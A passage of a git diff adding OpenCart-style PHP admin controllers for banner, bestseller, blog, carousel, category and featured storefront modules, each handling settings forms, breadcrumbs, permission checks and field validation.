+ if (isset($this->request->post['banner_id'])) {
+ $data['banner_id'] = $this->request->post['banner_id'];
+ } elseif (!empty($module_info)) {
+ $data['banner_id'] = $module_info['banner_id'];
+ } else {
+ $data['banner_id'] = '';
+ }
+
+ $this->load->model('design/banner');
+
+ $data['banners'] = $this->model_design_banner->getBanners();
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = '';
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/banner', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/banner')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/bestseller.php b/public/admin/controller/extension/module/bestseller.php
new file mode 100644
index 0000000..3b5db39
--- /dev/null
+++ b/public/admin/controller/extension/module/bestseller.php
@@ -0,0 +1,152 @@
+load->language('extension/module/bestseller');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('bestseller', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->cache->delete('product');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/bestseller', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/bestseller', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/bestseller', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/bestseller', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/bestseller', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/bestseller')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/module/blog_category.php b/public/admin/controller/extension/module/blog_category.php
new file mode 100644
index 0000000..123a4a2
--- /dev/null
+++ b/public/admin/controller/extension/module/blog_category.php
@@ -0,0 +1,70 @@
+load->language('extension/module/blog_category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('module_blog_category', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/blog_category', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/blog_category', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->post['module_blog_category_status'])) {
+ $data['module_blog_category_status'] = $this->request->post['module_blog_category_status'];
+ } else {
+ $data['module_blog_category_status'] = $this->config->get('module_blog_category_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/blog_category', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/blog_category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/blog_featured.php b/public/admin/controller/extension/module/blog_featured.php
new file mode 100644
index 0000000..a6c56f5
--- /dev/null
+++ b/public/admin/controller/extension/module/blog_featured.php
@@ -0,0 +1,181 @@
+load->language('extension/module/blog_featured');
+
+ $this->document->addScript('view/javascript/jquery/Sortable.js');
+ $this->document->addScript('view/javascript/jquery/jquery-sortable.js');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('blog_featured', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/blog_featured', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/blog_featured', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/blog_featured', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/blog_featured', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ $this->load->model('blog/article');
+
+ $data['articles'] = array();
+
+ if (!empty($this->request->post['article'])) {
+ $articles = $this->request->post['article'];
+ } elseif (!empty($module_info['article'])) {
+ $articles = $module_info['article'];
+ } else {
+ $articles = array();
+ }
+
+ foreach ($articles as $article_id) {
+ $article_info = $this->model_blog_article->getArticle($article_id);
+
+ if ($article_info) {
+ $data['articles'][] = array(
+ 'article_id' => $article_info['article_id'],
+ 'name' => $article_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/blog_featured', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/blog_featured')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/module/blog_latest.php b/public/admin/controller/extension/module/blog_latest.php
new file mode 100644
index 0000000..c3b4822
--- /dev/null
+++ b/public/admin/controller/extension/module/blog_latest.php
@@ -0,0 +1,155 @@
+load->language('extension/module/blog_latest');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('blog_latest', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->cache->delete('article');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/blog_latest', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/blog_latest', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/blog_latest', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/blog_latest', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/blog_latest', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/blog_latest')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/carousel.php b/public/admin/controller/extension/module/carousel.php
new file mode 100644
index 0000000..920f134
--- /dev/null
+++ b/public/admin/controller/extension/module/carousel.php
@@ -0,0 +1,154 @@
+load->language('extension/module/carousel');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('carousel', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/carousel', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/carousel', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/carousel', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/carousel', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['banner_id'])) {
+ $data['banner_id'] = $this->request->post['banner_id'];
+ } elseif (!empty($module_info)) {
+ $data['banner_id'] = $module_info['banner_id'];
+ } else {
+ $data['banner_id'] = '';
+ }
+
+ $this->load->model('design/banner');
+
+ $data['banners'] = $this->model_design_banner->getBanners();
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 130;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 100;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/carousel', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/carousel')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/category.php b/public/admin/controller/extension/module/category.php
new file mode 100644
index 0000000..1eb9fe0
--- /dev/null
+++ b/public/admin/controller/extension/module/category.php
@@ -0,0 +1,67 @@
+load->language('extension/module/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('module_category', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/category', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/category', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->post['module_category_status'])) {
+ $data['module_category_status'] = $this->request->post['module_category_status'];
+ } else {
+ $data['module_category_status'] = $this->config->get('module_category_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/category', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/featured.php b/public/admin/controller/extension/module/featured.php
new file mode 100644
index 0000000..21a0835
--- /dev/null
+++ b/public/admin/controller/extension/module/featured.php
@@ -0,0 +1,178 @@
+load->language('extension/module/featured');
+
+ $this->document->addScript('view/javascript/jquery/Sortable.js');
+ $this->document->addScript('view/javascript/jquery/jquery-sortable.js');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('featured', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/featured', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/featured', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/featured', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/featured', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ $this->load->model('catalog/product');
+
+ $data['products'] = array();
+
+ if (!empty($this->request->post['product'])) {
+ $products = $this->request->post['product'];
+ } elseif (!empty($module_info['product'])) {
+ $products = $module_info['product'];
+ } else {
+ $products = array();
+ }
+
+ foreach ($products as $product_id) {
+ $product_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($product_info) {
+ $data['products'][] = array(
+ 'product_id' => $product_info['product_id'],
+ 'name' => $product_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/featured', $data));
+ }
+
+ protected function validate() {
